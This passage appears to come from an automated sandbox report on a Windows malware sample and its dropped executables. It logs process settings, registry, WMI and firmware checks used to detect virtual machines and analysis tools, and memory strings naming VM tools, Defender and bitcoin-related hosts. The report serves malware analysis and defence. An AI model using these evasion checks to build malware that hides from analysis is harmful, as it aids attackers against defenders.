Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B6AA.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-VIH3T.tmp\B6AA.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-VIH3T.tmp\B6AA.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-VIH3T.tmp\B6AA.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B6AA.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uiedafw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uiedafw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uiedafw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uiedafw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uiedafw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uiedafw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8900.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\8900.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\8900.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\8900.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\8900.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\8900.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Found evasive API chain (may stop execution after checking computer name)

Source: C:\Users\user\AppData\Local\Temp\5828.exe

Evasive API call chain: GetComputerName,DecisionNodes,ExitProcess

graph_8-27299

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\7B24.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\7B24.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\7B24.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Temp\7B24.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: RTP.EXESYSTEMROOT=SETFILETIMESIGNWRITINGSOFT_DOTTEDSYSTEMDRIVETTL EXPIREDUNINSTALLERVBOXSERVICEVMUSRVC.EXEVARIANTINITVIRTUALFREEVIRTUALLOCKWSARECVFROMWARANG_CITIWHITE_SPACEWINDEFENDER[:^XDIGIT:]\DSEFIX.EXEADDITIONALSALARM CLOCKAPPLICATIONASSISTQUEUEAUTHORITIESBAD ADDRESSBAD ARGSIZEBAD M VALUEBAD MESSAGEBAD TIMEDIVBITCOINS.SKBROKEN PIPECAMPAIGN_IDCGOCALL NILCLOBBERFREECLOSESOCKETCOMBASE.DLLCREATED BY CRYPT32.DLLE2.KEFF.ORGEMBEDDED/%SEXTERNAL IPFILE EXISTSFINAL TOKENFLOAT32NAN2FLOAT64NAN1FLOAT64NAN2FLOAT64NAN3GCCHECKMARKGENERALIZEDGET CDN: %WGETPEERNAMEGETSOCKNAMEGLOBALALLOCHTTP2CLIENTHTTP2SERVERHTTPS_PROXYI/O TIMEOUTLOCAL ERRORMSPANMANUALMETHODARGS(MINTRIGGER=MOVE %S: %WMSWSOCK.DLLNETPOLLINITNEXT SERVERNIL CONTEXTOPERA-PROXYORANNIS.COMOUT OF SYNCPARSE ERRORPROCESS: %SREFLECT.SETREFLECTOFFSRETRY-AFTERRUNTIME: P RUNTIME: G RUNTIME: P SCHEDDETAILSECHOST.DLLSECUR32.DLLSERVICE: %SSHELL32.DLLSHORT WRITESTACK TRACESTART PROXYTASKMGR.EXETLS: ALERT(TRACEALLOC(TRAFFIC UPDUNREACHABLEUSERENV.DLLVERSION.DLLVERSION=195WININET.DLLWUP_PROCESS (SENSITIVE) B (
Source: uiedafw, 00000003.00000002.1950449605.000000000255E000.00000004.00000020.00020000.00000000.sdmp, 8900.exe, 00000010.00000002.2213189322.00000000025AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOK
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: TOO MANY LINKSTOO MANY USERSTORRC FILENAMEUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERUSERARENASTATEVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WINDOW CREATEDWORK.FULL != 0XENSERVICE.EXEZERO PARAMETER WITH GC PROG
Source: 3yPvcmrbqS.exe, 00000000.00000002.1708305475.00000000026CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOK`
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ... OMITTING ACCEPT-CHARSETAFTER EFIGUARDALLOCFREETRACEBAD ALLOCCOUNTBAD RECORD MACBAD RESTART PCBAD SPAN STATEBTC.USEBSV.COMCERT INSTALLEDCHECKSUM ERRORCONTENT-LENGTHCOULDN'T PATCHDATA TRUNCATEDDISTRIBUTOR_IDDRIVER REMOVEDERROR RESPONSEFILE TOO LARGEFINALIZER WAITGCSTOPTHEWORLDGET UPTIME: %WGETPROTOBYNAMEGOT SYSTEM PIDINITIAL SERVERINTERNAL ERRORINVALID SYNTAXIS A DIRECTORYKEY SIZE WRONGLEVEL 2 HALTEDLEVEL 3 HALTEDMEMPROFILERATEMULTIPARTFILESNEED MORE DATANIL ELEM TYPE!NO MODULE DATANO SUCH DEVICEOPEN EVENT: %WPARSE CERT: %WPROTOCOL ERRORREAD CERTS: %WREAD_FRAME_EOFREFLECT.VALUE.REMOVE APP: %WRUNTIME: FULL=RUNTIME: WANT=S.ALLOCCOUNT= SEMAROOT QUEUESERVER.VERSIONSTACK OVERFLOWSTART TASK: %WSTOPM SPINNINGSTORE64 FAILEDSYNC.COND.WAITTEXT FILE BUSYTIME.LOCATION(TIMEENDPERIODTOO MANY LINKSTOO MANY USERSTORRC FILENAMEUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERUSERARENASTATEVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WINDOW CREATEDWORK.FULL != 0XENSERVICE.EXEZERO PARAMETER WITH GC PROG

Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1348	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 413	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 646	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 996	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 755	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 749	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Window / User API: threadDelayed 3803
